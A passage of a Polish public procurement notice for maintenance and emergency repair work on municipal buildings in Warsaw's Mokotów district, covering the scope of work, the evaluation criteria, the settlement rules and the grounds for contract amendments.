Zamówień(CPV): </b>45000000-7, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: 162037,03<br/>Waluta: <br/>zł.<br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: <br/>data rozpoczęcia: 2019-12-01<br/>data zakończenia: 2020-11-30<br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena (z VAT) za wykonanie zamówienia w/g kosztorysu Ofertowego Wykonawcy sporządzonego na postawie ramowego przedmiaru robót </td><td style="border: 1px solid black;border-collapse: collapse;">30,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena- stawka roboczogodziny kosztorysowej Rbrutto = [(Rnetto+Kp+Z)] z VAT </td><td style="border: 1px solid black;border-collapse: collapse;">15,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena - dodatek za drobne naprawy (D) z VAT </td><td style="border: 1px solid black;border-collapse: collapse;">15,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">wydłużenie okresu udzielonej gwarancji powyżej 36 miesięcy </td><td style="border: 1px solid black;border-collapse: collapse;">20,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">czas przystąpienia do usunięcia zgłoszonej awarii </td><td style="border: 1px solid black;border-collapse: collapse;">20,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b><br/><br/><br/><table><tr><td><b>Część nr: </b></td><td>3</td><td><b>Nazwa: </b></td><td>Wiśniowa</td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Wykonawca zobowiązany będzie do wykonywania robót mających na celu utrzymanie sprawności technicznej elementów budynków i obiektów znajdujących się na terenach administrowanych przez ZGN, w zakres których wchodzą w szczególności roboty polegające na wykonaniu:1. robót wyszczególnionych w ,,ramowym" przedmiarze robót stanowiącym załącznik do SIWZ (Rozdział VI siwz) w szczególności:1.1. roboty posadzkarskie i okładzinowe ścian:?	skucie posadzki ceramicznej, ?	zerwanie posadzek z PCV, ?	przybicie płyt twardych pod posadzki, ?	wykonanie warstw wyrównawczych,?	naprawa posadzek cementowych i drewnianych, ? ułożenie posadzek z tworzywa sztucznego, montaż progów przejściowych, ?	montaż listew przyściennych drewnianych. ? cyklinowanie posadzek z deszczułek drewnianych,? szlifowanie posadzek z lastryko,?	demontaż boazerii, paneli ściennych itp.,?	demontaż złomowy sufitów podwieszanych,?	rozebranie posadzek z deszczułek z oderwaniem listew lub cokołów,?	skucie lepiku, subitu lub kleju trwale związanego z podkładem betonowym po rozebraniu posadzki z deszczułek,1.2. roboty murarskie: ? wykucie z muru kratek wentylacyjnych, ościeżnic drewnianych i metalowych, podokienników drewnianych i z lastryko, ? zamurowanie przebić w ścianach, ? obsadzenie kratek wentylacyjnych oraz ościeżnic stalowych, 1.3. roboty stolarskie: ? demontaż szaf wbudowanych, ?	demontaż ścianki drewnianej,?	wykonanie ścianki z płyty gipsowych + montaż ościeżnicy stalowej, ?	montaż okuć stolarskich, zasuwki, wkładka Yale itp.,? montaż nawiewnika w stolarce okiennej, ? montaż szafki pod zlewozmywak, ? regulacja stolarki okiennej, drzwiowej,?	rozszklenie i szklenie otworów okiennych lub drzwiowych,1.4. roboty malarskie emulsyjne i olejne: ? malowanie używanych ościeżnic stalowych, rur oraz grzejników farba olejną, ? jednokrotne malowanie podokienników, ? przygotowanie powierzchni ścian pod malowanie olejne i emulsyjne oraz sufitów pod emulsyjne, ? jednokrotne malowanie ścian farbami olejnymi z jednokrotnym szpachlowaniem, ? dwukrotne malowanie farbą emulsyjną sufitów i ścian po uprzednim zeskrobaniu starej farby i zagruntowaniu, ?	Ługowanie farby olejnej z tynków1.5. roboty tynkarskie?	odbicie tynków wewnętrznych z zaprawy cementowo-wapiennej na ścianach i sufitach,?	naprawa pęknięć tynku na ścianach i sufitach,?	tynki wewnętrzne zwykłe kat. III wykonywane ręcznie na ścianach i sufitach,?	tynki wewnętrzne pocienione,?	skasowanie wykwitów (zacieków),?	przecieranie istniejących tynków wewnętrznych z zeskrobaniem farby lub zdzieraniem tapet na ścianach,1.6. roboty towarzyszące:? wywiezienie materiałów z rozbiórki, ? mycie stolarki okiennej oraz parapetów,? zabezpieczenie podłóg folią, 1.7. roboty zewnętrzne :-	drobne naprawy nawierzchni drogowych,-	zasypywanie dołów i dziur po gryzoniach,-	malowanie pasów , miejsc postojowych i znaków poziomych,-	naprawa pokryć dachowych,-	naprawa elementów obiektów związanych z budynkiem i terenem, -naprawa elementów zewnętrznych budynków gminnych takich jak: rynny, okapy, tynki, opaski, zamalowywani graffiti.2. robót zapewniających stałe utrzymanie w ruchu budynków gminnych oraz lokali gminnych znajdujących się w tych budynkach zarządzanych i administrowanych przez Zakład Gospodarowania Nieruchomościami w Dzielnicy Mokotów oraz lokali gminnych, znajdujących się w budynkach wspólnotowych będących i nie będących w administracji Zakładu Gospodarowania Nieruchomościami w Dzielnicy Mokotów i budynków/lokali oświaty DOM Służewiec, DOM Wierzbno", DOM Wiśniowa , DOM Madalińskiego, DOM Konduktorska, DOM Polkowska w tym:2.1. przeprowadzanie w budynkach gminnych zarządzanych i administrowanych przez ZGN w Dzielnicy Mokotów, których wykazy zawiera Rozdział IVA SIWZ, okresowych kontroli (raz w roku i sporządzania protokołów, wg art. 62 ust. 1 ustawy z dnia 7 lipca 1994 r. Prawa budowlane (tj. Dz. U. z 2019 poz. 1186 ze zm. - dalej: ustawa Prawo budowlane) polegających na sprawdzeniu stanu technicznego budynków, a w szczególności dokonywania przeglądów konstrukcji i pokrycia dachów, loggii, balkonów (w tym zanieczyszczeń ), attyk, kominów, balustrad, rynien, oszkleń, stolarki od zewnątrz, itp. elementów narażonych na niszczące wpływy atmosferyczne i niszczące działania czynników występujących podczas użytkowania, których uszkodzenia mogą powodować zagrożenie dla bezpieczeństwa osób, środowiska i konstrukcji budynku Szczegółowym sprawdzeniu należy objąć stan techniczny zewnętrznych warstw przegród zewnętrznych (warstwa fakturowa), elementów ścian zewnętrznych (attyki, filary, gzymsy), balustrad, loggii i balkonów, urządzeń zamocowanych do ścian i dachu, elementów odwodnienia budynku oraz obróbek blacharskich, pokryć dachowych, urządzeń stanowiących zabezpieczenie przeciwpożarowe budynku, elementów instalacji kanalizacyjnej odprowadzających ścieki z budynku, przejść przyłączy instalacyjnych przez ściany budynku oraz wszystkie pozostałe widoczne elementy budynku, a także estetykę budynku i jego otoczenia. W budynkach, w których w danym roku przeprowadzono przegląd 5-cio letni, nie wykonuje się przeglądów rocznych.2.2. całodobowe usuwanie awarii budowlanych i ich skutków wraz z robotami poawaryjnymi, zabezpieczanie doraźne obiektów miasta, gdy grożą awarią (z wyłączeniem instalacji) lub stwarzają zagrożenie życia i mienia,2.2.a Zamawiający wymaga aby Wykonawca przystąpił do usuwania awarii w ciągu 3-ch godzin od otrzymania telefonicznego zgłoszenia o zaistniałej awarii. Skrócenie ,,czasu przystąpienia do usunięcia zgłoszonej awarii" punktowane będzie zgodnie z zapisem pkt. 19 siwz.3. wykonywanie remontów, tj. wykonywanie robót naprawczych wynikających z przeprowadzonych kontroli oraz wykonywanie innych robót naprawczych zgłoszonych przez DOM zarówno w odniesieniu do budynków i lokali gminnych zarządzanych i administrowanych przez ZGN oraz lokali gminnych w budynkach Wspólnot Mieszkaniowych i budynków/lokali oświaty o ile roboty w nich zostaną zlecone przez Zamawiającego, jak i urządzeń terenowych związanych z budynkami, jak mury oporowe, schody, zjazdy do garaży podziemnych, opaski budynków, śmietniki, ogrodzenia, bramy itp. oraz elementów małej architektury i budowli związanych użytkowo z tymi budynkami oraz wykonywanie drobnych napraw dróg i chodników, montaż i demontaż znaków pionowych, słupków oraz malowanie znaków poziomych.4. w budynkach miasta zarządzanych i administrowanych przez ZGN usuwanie nadmiernie nagromadzonego śniegu z dachów oraz zdejmowanie sopli lodowych i czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń oraz w przypadku zagrożeń lub awarii w lokalach gminnych w budynkach Wspólnot Mieszkaniowych,5. w budynkach miasta zarządzanych i administrowanych przez ZGN usuwanie zanieczyszczenia z przewodów dymowych, spalinowych i wentylacyjnych, zgłoszonych z DOM po podpisaniu umowy, 6. zgłaszanie do DOM zauważonych nieprawidłowości w zakresie stanu technicznego budynków miasta zarządzanych i administrowanych przez ZGN,7. roboty , o których mowa w pkt. 3.1.1. (3.1.1.1. do 3.1.1.7.) , 3.1.2, 3.1.3. , 3.1.4., 3.1.5., SIWZ wykonywane będą na odrębne pisemne zlecenia wydawane przez DOM (stosownie do jego potrzeb) ze szczegółowym określeniem zakresu robót i ich ilości zgodnie z protokołem typowania i przedmiarem robót i ewentualnie ślepym kosztorysem oraz z określeniem terminu ich wykonania (rozpoczęcia i zakończenia).8. Prawidłowe wykonanie robót, o których mowa w pkt. 3.1.1. (3.1.1.1. do 3.1.1.7.) , 3.1.2. (3.1.2.2.), 3.1.3., 3.1.4., 3.1.5., każdorazowo potwierdzane będzie protokołem odbioru końcowego przez inspektora nadzoru DOM. Wynagrodzenie za realizację robót, o których mowa w pkt. 3.1.1. (3.1.1.1. do 3.1.1.7.) , 3.1.2. (3.1.2.2.), 3.1.3., SIWZ wypłacane będzie Wykonawcy na podstawie faktur wystawionych w oparciu o zweryfikowane przez inspektora -DOM - kosztorysy zamienne lub powykonawcze sporządzane zgodnie z przedmiarem, ślepym kosztorysem, o ile zostanie wcześniej dostarczony przez Zamawiającego lub w oparciu o protokoły typowania, obmiary robót oraz wg cen z kosztorysu ofertowego Wykonawcy stanowiącego zał. nr 1 do oferty, a w przypadku braku tych cen na podstawie czynników cenotwórczych podanych przez Wykonawcę w ofercie -kosztorys ofertowy. Ilość roboczogodzin, materiałów i czas pracy sprzętu wyliczane będą w oparciu o kosztorys sporządzony na podstawie kosztorysu ślepego jeżeli był on dostarczony przez Zamawiającego lub w oparciu o jednostkowe nakłady określone w Normach Zakładowych ZGN w Dzielnicy Mokotów stanowiące Rozdział VII siwz oraz w katalogach nakładów rzeczowych (KNR) wydanych przez Ministra Gospodarki Przestrzennej i Budownictwa, a w przypadku braku odpowiednich nakładów rzeczowych w w/w katalogach dopuszcza się stosowanie KNR wydanych przez WACETOB. Jeżeli również w tym wydawnictwie brak jest w/w nakładów wykonywanych prac dopuszcza się stosowanie wycen indywidualnych, uwzględniających także rzeczywisty czas, każdorazowo zaakceptowanych przez inspektorów Zamawiającego i zatwierdzonych przez kierownika DOM. 8.1. Ceny każdego z materiałów - bez kosztów zakupu - w przypadku gdy dany materiał nie występuje kosztorysie ofertowym stanowiącym załącznik nr 1 do oferty Wykonawcy - rozliczane będą na podstawie przedłożonych przez Wykonawcę faktur. Ceny materiałów na podstawie przedłożonych przez Wykonawcę faktur nie mogą być wyższe niż 120% minimalnej ceny i jednocześnie nie wyższe niż najniższe ze średnich cen dla każdego asortymentu podawanych jako ceny materiałów z notowań w publikacjach SEKOCENBUD, IMB, IMI, IME, obowiązujące dla kwartału, w którym będą zlecane roboty. W przypadkach gdy dany materiał nie występuje w w/w publikacjach lub występuje jako cena producencka, dopuszcza się cenę na dany materiał po jej wcześniejszym uzgodnieniu z inspektorem nadzoru i uzyskaniu akceptacji Kierownika DOM w formie pisemnej. Uzyskanie przedmiotowej akceptacji ceny w formie pisemnej musi nastąpić przed zakupem i wbudowaniem niewystępującego w publikacjach materiału. Przed podjęciem decyzji o akceptacji ceny inspektor nadzoru oraz Kierownik DOM zobowiązani są do rozpoznania rynku i przyjęcia najkorzystniejszej oferty. Wyklucza się przyjmowanie cen w oparciu o dane katalogowe producentów.8.2. Ceny pracy sprzętu - w przypadku gdy dany sprzęt nie występuje kosztorysie ofertowym stanowiącym załącznik nr 1 do oferty Wykonawcy - rozliczane będą na podstawie przedłożonych przez Wykonawcę faktur wystawionych przez usługodawców lecz nie wyższe niż średnie ceny publikowane przez Sekocenbud ,,IRS" oraz zawarte w ,, informacji o cenach czynników produkcji RMS" w kwartale, w którym roboty były zlecane. W przypadkach gdy dany sprzęt nie występuje w w/w publikacjach, dopuszcza się cenę na dany sprzęt po jej wcześniejszym uzgodnieniu z inspektorem nadzoru i uzyskaniu akceptacji Kierownika DOM w formie pisemnej. Uzyskanie przedmiotowej akceptacji ceny w formie pisemnej musi nastąpić przed wynajęciem sprzętu niewystępującego w publikacjach materiału. Przed podjęciem decyzji o akceptacji ceny inspektor nadzoru oraz kierownik zobowiązani są do rozpoznania rynku i przyjęcia najkorzystniejszej oferty.8.3. Roboty polegające na usuwaniu awarii, o których mowa w pkt. 3.1.2. (3.1.2.2.) SIWZ rozliczane będą w sposób opisany powyżej z tym, że nie będzie wystawione wyprzedzająco zlecenie z protokołem typowania robot, a niezwłocznie po powzięciu wiadomości przez DOM o usunięciu awarii tworzony będzie protokół konieczności potwierdzający wykonanie prac usuwających awarię i zabezpieczenie obiektu. Zamawiający ma prawo żądać do wglądu faktur za materiały i sprzęt użyty przy wykonywaniu przedmiotu zamówienia. 8.4. Roboty polegające na wykonaniu drobnych napraw remontowych i konserwacyjnych oraz usunięciu drobnych awarii, o których mowa w pkt. 3.1.2. , 3.1.3. SIWZ zawierających nie więcej niż cztery czynności ( za czynność należy rozumieć pozycje kosztorysowe) oraz wycenionych na kwotę nie wyższą niż 250 zł netto (np. wymiana zamka, zabezpieczenie okien i drzwi, asysta przy eksmisji itp.) rozliczane będą w sposób opisany powyżej z tym, że wykonawca będzie miał prawo doliczenia do nich kwoty dodatku (D) za drobne naprawy uwzględniającej wszelkie koszty organizacji robót m. innymi dojścia, zakupu materiałów, gotowości pracowników, której wartość poda w ofercie. UWAGA: Max. wartość dodatku za drobne naprawy (D) bez VAT nie może przekroczyć kwoty 100,00 zł. netto (bez VAT).9. Odśnieżanie dachów oraz zdejmowanie sopli lodowych i czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń, rozliczane będzie w sposób następujący:9.1.Odśnieżanie dachów i zdejmowanie sopli lodowych w zakresie pracy ludzi rozliczane będzie w oparciu o Normy Zakładowe ZGN stanowiące Rozdział VII SIWZ i będące jednocześnie załącznikiem nr 8 do umowy według stawek podanych przez Wykonawcę w formularzu oferty częściowej, a w zakresie dotyczącym sprzętu w oparciu o rzeczywisty czas pracy sprzętu każdorazowo potwierdzony przez inspektora nadzoru.9.2.Czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń rozliczane będzie w oparciu o rzeczywisty czas pracy ludzi i sprzętu, każdorazowo potwierdzony przez inspektora nadzoru, według stawek podanych przez Wykonawcę w formularzu oferty częściowej. 9.3.Ceny pracy sprzętu przy zdejmowaniu sopli lodowych i czyszczeniu rynien i rewizji rur deszczowych z zanieczyszczeń rozliczane będą na podstawie przedłożonych przez Wykonawcę faktur wystawionych przez usługodawców, lecz nie wyższe niż średnie ceny publikowane przez Sekocenbud ,,IRS" oraz zawarte w ,, informacji o cenach czynników produkcji RMS" w kwartale, w którym usługi będą zlecane. W przypadkach gdy dany sprzęt nie występuje w w/w publikacjach, dopuszcza się cenę na dany sprzęt po jej wcześniejszym uzgodnieniu z inspektorem nadzoru i uzyskaniu akceptacji Kierownika DOM w formie pisemnej. Uzyskanie przedmiotowej akceptacji ceny w formie pisemnej musi nastąpić przed wynajęciem sprzętu niewystępującego w publikacjach materiału. Przed podjęciem decyzji o akceptacji ceny inspektor nadzoru oraz kierownik zobowiązani są do rozpoznania rynku i przyjęcia najkorzystniejszej oferty. Za odśnieżanie dachów oraz zdejmowanie sopli lodowych i czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń Wykonawca będzie wystawiał odrębne faktury.10. Ewentualne usuwanie zanieczyszczeń z przewodów dymowych, spalinowych i wentylacyjnych, na zlecenie z DOM, rozliczane będzie w oparciu o podaną w formularzu oferty częściowej stawką roboczogodziny zgodnie z uwzględnieniem rzeczywistego czasu pracy ludzi. Za prace wymienione w zdaniu poprzednim Wykonawca będzie wystawiał odrębne faktury.11. Przeprowadzanie w budynkach gminnych zarządzanych i administrowanych przez ZGN w Dzielnicy Mokotów, których wykazy budynków zawiera Rozdział IV SIWZ, okresowych kontroli rozliczane będzie na podstawie cen zaoferowanych przez Wykonawcę w wykazie budynków gminnych zarządzanych i administrowanych przez ZGN, stanowiącego Rozdział IV A siwz i ilości skontrolowanych budynków.12. Zamawiający zastrzega, że:12.1. na wykonywanie czynności o których mowa w pkt. 3.1.1. , siwz przeznaczy kwotę z podatkiem VAT wynikającą z przedstawionego przez wybranego Wykonawcę kosztorysu ofertowego, sporządzonego na postawie przedmiaru robót stanowiącego Rozdział VI SIWZ,12.2. na wykonywanie czynności o których mowa w pkt. 3.1.2.; 3.1.2.2., 3.1.3. , 3.1.4. i 3.1.5. siwz przeznacza kwoty z podatkiem VAT nie większe niż:12.2.1. dla części I: DOM Służewiec - kwota 24.000,00 zł z VAT, 12.2.2. dla części II: DOM Wierzbno - kwota 26.204,82 zł z VAT12.3. na wykonywanie czynności o których mowa w pkt. 3.1.2.1. , siwz przeznaczy kwotę z podatkiem VAT wynikającą z przedstawionego przez wybranego Wykonawcę wykazu budynków wraz z cenami za kontrolę.13.Zamawiający nie przewiduje udzielania zaliczek na poczet wykonania zamówienia3.3. Wykazy budynków gminnych oraz budynków Wspólnot Mieszkaniowych z lokalami gminnymi i budynków/lokali oświaty w których realizowane będą zamówienia stanowią Rozdział IV SIWZ. Wykazy budynków, o których mowa wyżej mogą ulec zmianie w zakresie wskazanych adresów budynków poprzez jednostronną czynność Zamawiającego. 3.4. Szczegółowy zakres obowiązków Wykonawcy zawarty jest w § 1, 3, 4 i 5 Istotnych postanowień umowy, które stanowią Rozdział III SIWZ.3.5.1. Czynności, o których mowa w pkt. 3.1. niniejszej specyfikacji, mają być wykonywane zgodnie z: 3.5.1.1. Dokumentacją techniczną w formie ,,ramowego" przedmiaru robót, która stanowi Rozdział VI specyfikacji istotnych warunków zamówienia, specyfikacją techniczną wykonania i odbioru robót - stanowiącą Rozdział V SIWZ,.3.5.1.2.	warunkami wynikającymi z przepisów technicznych i czynnościami wymienionymi w art. 22 Ustawy z dnia 07.07.1994 r. Prawo budowlane (tekst jednolity Dz. U. z 2018 r. poz.1202, ze zmianami) i jej przepisów wykonawczych,3.5.1.3. wymaganiami wynikającymi z aktualnych Polskich lub Europejskich Norm i aprobat technicznych, 3.5.1.4. zasadami rzetelnej wiedzy technicznej i sztuki budowlanej, 3.5.1.5. warunkami wynikającymi z Istotnych postanowień umowy stanowiących Rozdział III specyfikacji istotnych warunków zamówienia.oraz3.5.1.6. w sposób zapewniający kulturalną obsługę najemcy.3.5.2. Materiały i produkty, które będą używane do realizacji zamówienia, powinny odpowiadać wymaganiom ujętym w art. 10 ustawy Prawo budowlane i w Ustawie o wyrobach budowlanych Dz. U. z 2019 r. poz.266) i posiadać certyfikat na znak bezpieczeństwa w odniesieniu do wyrobów podlegających tej certyfikacji. Dla pozostałych materiałów, z wyłączeniem wskazanych w rozporządzeniu MSWiA z dnia 24 lipca 1998 r. w sprawie określenia wykazu wyrobów nie mającego istotnego wpływu na spełnienie wymagań podstawowych oraz wyrobów wytwarzanych i stosowanych według uznanych zasad sztuki budowlanej (Dz. U. z 1998r., Nr 99, poz.637), posiadać deklarację zgodności z dokumentem odniesienia jakim jest Polska Norma, a w przypadku jej braku krajową aprobatą techniczną (AT) lub europejską aprobatą techniczną (ETA). Wykonawca na każde żądanie Zamawiającego zobowiązany będzie okazać w stosunku do wskazanych materiałów certyfikaty i deklaracje dopuszczające wyrób do obrotu i stosowania w budownictwie. Ponadto podczas wykonywania zamówienia Wykonawca na każde żądanie Zamawiającego zobowiązany będzie okazać w stosunku do wskazanych materiałów certyfikat na znak bezpieczeństwa, deklaracje zgodności lub certyfikat zgodności z Polską Normą lub z aktualną aprobatą techniczną. 3.6. Zmiany umowy:3.6.1. Zamawiający dopuszcza możliwość wprowadzenia zmian postanowień umowy, w stosunku do treści oferty, na podstawie, której dokonano wyboru Wykonawcy w razie:3.6.1.1.	dokonywania zmian przewidzianych w SIWZ w postaci jednoznacznych postanowień umownych, określających zakres zmian, w szczególności możliwość zmiany terminu wykonania, wynagrodzenia Wykonawcy i charakteru oraz warunków ich wprowadzenia i tak w przypadku:3.6.1.1.1.	zmiany regulacji prawnych wprowadzonych w życie po dacie zawarcia umowy i mających wpływ na treść umowy wraz ze skutkami takiej zmiany regulacji prawnych,3.6.1.1.2. powierzenia Podwykonawcy wykonania całości bądź części Przedmiotu zamówienia w zakresie i na warunkach wynikających z umowy między Wykonawcą a Podwykonawcą zaakceptowanej przez Zamawiającego lub zmiany Podwykonawcy w sytuacji, gdy z przyczyn, których nie można było przewidzieć w chwili zawarcia z nim umowy dotyczącej wykonywania Przedmiotu zamówienia, koniecznym będzie dla prawidłowego jego wykonania posłużenie się przez Wykonawcę nowym Podwykonawcą, który będzie realizował część lub cały zakres robót powierzony uprzednio innemu Podwykonawcy. Jeżeli zmiana albo rezygnacja z Podwykonawcy dotyczy podmiotu, na którego zasoby Wykonawca powoływał się, na zasadach określonych w art. 22a ustawy, w celu wykazania spełniania warunków udziału w postępowaniu, o których mowa w art. 22 a ust. 4 ustawy, Wykonawca jest obowiązany wykazać Zamawiającemu, iż proponowany inny Podwykonawca lub Wykonawca samodzielnie spełnia je w stopniu nie mniejszym niż wymagany w trakcie postępowania o udzielenie zamówienia i nie podlega wykluczeniu z postępowania;3.6.1.1.3. zmiany zakresu części Przedmiotu zamówienia powierzonego Podwykonawcom wynikającej z aneksów do umów zawartych przez Wykonawcę z Podwykonawcami i zaakceptowanych przez Zamawiającego w przypadku wykonywania Przedmiotu zamówienia z udziałem Podwykonawców.3.6.1.1.4.	zmiany osób uczestniczących w realizacji przedmiotu zamówienia, przy czym warunkiem dokonania takiej zamiany jest posiadanie przez nowo wskazane osoby wymaganych uprawnień, kwalifikacji i doświadczenia zgodnego z warunkami określonymi w tym zakresie w SIWZ;3.6.1.2. zaistnienia konieczności wykonania przez Wykonawcę robót dodatkowych, nieobjętych zamówieniem podstawowym (przedmiotem zamówienia), o ile stały się niezbędne, a ponadto spełnione są łącznie następujące warunki:3.6.1.2.1.zmiana Wykonawcy nie może zostać dokonana z powodów ekonomicznych lub technicznych, w szczególności dotyczących zamienności lub interoperacyjności sprzętu, robót lub instalacji zamówionych w ramach zamówienia podstawowego (przedmiotu zamówienia);3.6.1.2.2. zmiana Wykonawcy spowodowałaby istotną niedogodność lub znaczne zwiększenie kosztów dla Zamawiającego;3.6.1.2.3. wartość każdej kolejnej zmiany umowy nie przekroczy 50% wartości umowy,3.6.1.3. gdy zmiana umowy spowodowana jest okolicznościami, których Zamawiający działając z należytą starannością nie mógł przewidzieć i jednocześnie ich wartość nie przekracza 50% wartości przedmiotu zamówienia. 3.6.1.4.	gdy Wykonawcę ma zastąpić inny podmiot:3.6.1.4.1. na podstawie postanowień umownych, o których mowa w pkt. 3.6.1.1. SIWZ, 3.6.1.4.2. w wyniku połączenia, podziału, przekształcenia, upadłości, restrukturyzacji lub nabycia dotychczasowego Wykonawcy lub jego przedsiębiorstwa, o ile nowy podmiot spełnia warunki udziału w postępowaniu, nie zachodzą wobec niego podstawy wykluczenia oraz nie pociąga to za sobą innych istotnych zmian umowy;3.6.1.4.3. w wyniku przejęcia przez Zamawiającego zobowiązań Wykonawcy względem jego podwykonawców, o ile Wykonawca wykonuje przedmiot zamówienia z udziałem podwykonawców3.6.1.5.	zmian - niezależnie od ich wartości, jeżeli nie są one istotne w rozumieniu art. 144 ust. 1e ustawy;3.6.1.6. łączna wartość zmian jest mniejsza niż kwoty określone w przepisach wydanych na podstawie art. 11 ust. 8 ustawy i jest mniejsza niż 10 % wartości przedmiotu zamówienia; 3.6.1.7.	zmiany wysokości wynagrodzenia w przypadku:3.6.1.7.1. zmiany stawki podatku od towarów i usług;3.6.1.7.2. zmiany wysokości minimalnego wynagrodzenia za pracę albo wysokości minimalnej stawki godzinowej, ustalonych na podstawie przepisów ustawy z dnia 10 października 2002 r. o minimalnym wynagrodzeniu o pracę (tj. Dz. U. z 2017 r. poz. 847);3.6.1.7.3. zmiany zasad podlegania ubezpieczeniom społecznym lub ubezpieczeniu zdrowotnemu lub wysokości stawki składki na ubezpieczenia społeczne lub zdrowotne, na zasadach i w sposób opisany w § 15 istotnych postanowień umowy -Rozdział III SIWZ3.6.2. Z wyjątkiem zamian określonych w § 1 ust. 3, 4 i 5 4 ust. 4, 10 i 11 oraz w § 8 ust. 5 istotnych postanowień umowy -Rozdział III SIWZ, wszelkie inne zmiany umowy zawartej w wyniku rozstrzygnięcia przedmiotowego postępowania wymagają sporządzenia aneksu do umowy w formie pisemnej pod rygorem nieważności.3.6.3. W przypadkach, o których mowa w pkt. 3.6.1.2., 3.6.1.3. oraz 3.6.1.4. ppkt. 3.6.1.4.2. SIWZ Zamawiający nie wprowadzi kolejnych zmian umowy w celu uniknięcia stosowania przepisów ustawy Prawo zamówień publicznych.3.6.4. W przypadkach, o których mowa w pkt. 3.6.1.1., 3.6.1.3. i 3.6.1.6. SIWZ zmiany postanowień umowy nie mogą prowadzić do zmiany charakteru umowy.3.6.5. Wynagrodzenie dla Wykonawcy za wykonanie robót mieszczących się w zakresie, o którym mowa w pkt. 3.6.1.2, 3.6.1.3. i 3.6.1.6. SIWZ obliczone będzie wg zasad przyjętych w niniejszej umowie i kwot zawartych w ofercie. 3.6.6. Zamawiający zastrzega sobie możliwość zmiany wykazu budynków stanowiących Rozdział IV siwz.3.6.7. Zamawiający zastrzega sobie możliwość zmiany lub uzupełnienia o nowe pozycje Norm Zakładowych Zakładu Gospodarowania Nieruchomościami w Dzielnicy Mokotów m. st. Warszawy, które stanowią Rozdział VII siwz.3.6.8. Na etapie realizacji umowy Zamawiający zastrzega sobie możliwość dokonania zmiany przedmiaru robót stanowiącego Rozdział VI SIWZ, w zakresie ilości robót i ich rodzajów wyszczególnionych w poszczególnych pozycjach, co skutkować będzie zmianą kosztorysu zamiennego/powykonawczego Wykonawcy , z zastrzeżeniem, że zmiana ta nie może prowadzić do zwiększenia zaoferowanej przez Wykonawcę w kosztorysie ofertowym ceny.3.7.	Wykonawca zobowiązany będzie do: 3.7.1. posiadania opłaconej polisy lub innego dokumentu ubezpieczenia na kwotę nie niższą niż równowartość 100.000 złotych polskich, potwierdzającego, że jest ubezpieczony od odpowiedzialności cywilnej w zakresie prowadzonej działalności gospodarczej, w tym w zakresie przedmiotu zamówienia; 3.7.2. wniesienia zabezpieczenia należytego wykonania umowy na zasadach określonych w pkt. 22 SIWZ; 3.7.3. udzielenia gwarancji na wykonane przez siebie roboty na czas minimum 36 miesięcy od daty odbioru. Warunki gwarancji zawierają Istotne postanowienia umowy stanowiące Rozdział III SIWZ - wydłużenie okresu udzielonej gwarancji powyżej 36 miesięcy stanowi kryterium oceny ofert i punktowane będzie w sposób opisany w pkt. 19 SIWZ; 3.7.4. przedłożenia Zamawiającemu do zatwierdzenia harmonogramu kontroli (przeglądów), o których mowa w pkt. 3.1.1. SIWZ, w ciągu 7 dni kalendarzowych po podpisaniu umowy;3.7.5. zgłaszania się w okresie obowiązywania umowy, zawartej w wyniku rozstrzygnięcia niniejszego postępowania, w dni robocze w godzinach 7-15 niezwłocznie po otrzymaniu telefonicznego wezwania lub po wcześniejszym kontakcie wykonawcy z Zamawiającym w celu pobierania zleceń;. 3.7.6. pełnienia całodobowo usług pogotowia i dyżuru pod numerem telefonu, na który będą mogły być całodobowo zgłaszane przestoje i usterki budowlane w trakcie realizacji umowy zawartej w wyniku rozstrzygnięcia niniejszego postępowania; Numer telefonu będzie podany na piśmie dla danego DOM przez Wykonawcę w dacie podpisania umowy. 3.7.7. podpisania umowy na wykonywanie robót mających na celu utrzymanie sprawności technicznej elementów budynków zgodnych w zakresie określonym w pkt od 3.1.1. do 3.1.10. SIWZ na warunkach określonych w złożonej i przyjętej ofercie w budynkach Wspólnot Mieszkaniowych (które wyrażą na to zgodę) wyszczególnionych w Rozdziale IV B SIWZ: 3.7.7.1. warunki gwarancji i wykonania zamówienia w budynkach Wspólnot Mieszkaniowych będą zgodne z warunkami określonymi w niniejszej specyfikacji oraz w istotnych postanowieniach umowy, stanowiących Rozdział III SIWZ, 3.7.7.2. Wykonawca zobowiązany będzie do wystawienia faktur za roboty wykonane w budynkach Wspólnot Mieszkaniowych, o których mowa w pkt. 3.7.7. SIWZ, podmiotom, na rzecz których roboty będzie wykonywał, 3.8. Zaoferowana przez Wykonawcę we - WZORZE FORMULARZA OFERTY CZĘŚCIOWEJ - dla robót nie uwzględnionych w kosztorysie ofertowym Wykonawcy - maksymalna stawka roboczogodziny kosztorysowej nie może przekroczyć średniej warszawskiej określonej w wyd. "SEKOCENBUD" BCR z II kwartału 2019 r. dla robót budowlanych: R netto = 21,93 zł. i R brutto = 38,26 zł. Stawka roboczogodziny kosztorysowej brutto obejmuje wartość stawki roboczogodziny kosztorysowej netto powiększonej o narzut kosztów pośrednich i zysk kalkulacyjny [Rbrutto = (Rnetto + Kp + Z)]. Wykonawca musi wpisać oferowane stawki roboczogodziny kosztorysowej Rnetto i Rbrutto, Kp i Z w formularzu oferty, sporządzonym wg wzoru formularza oferty częściowej. 3.9.	Zaoferowany przez Wykonawcę we - WZORZE FORMULARZA OFERTY CZĘŚCIOWEJ - wskaźnik 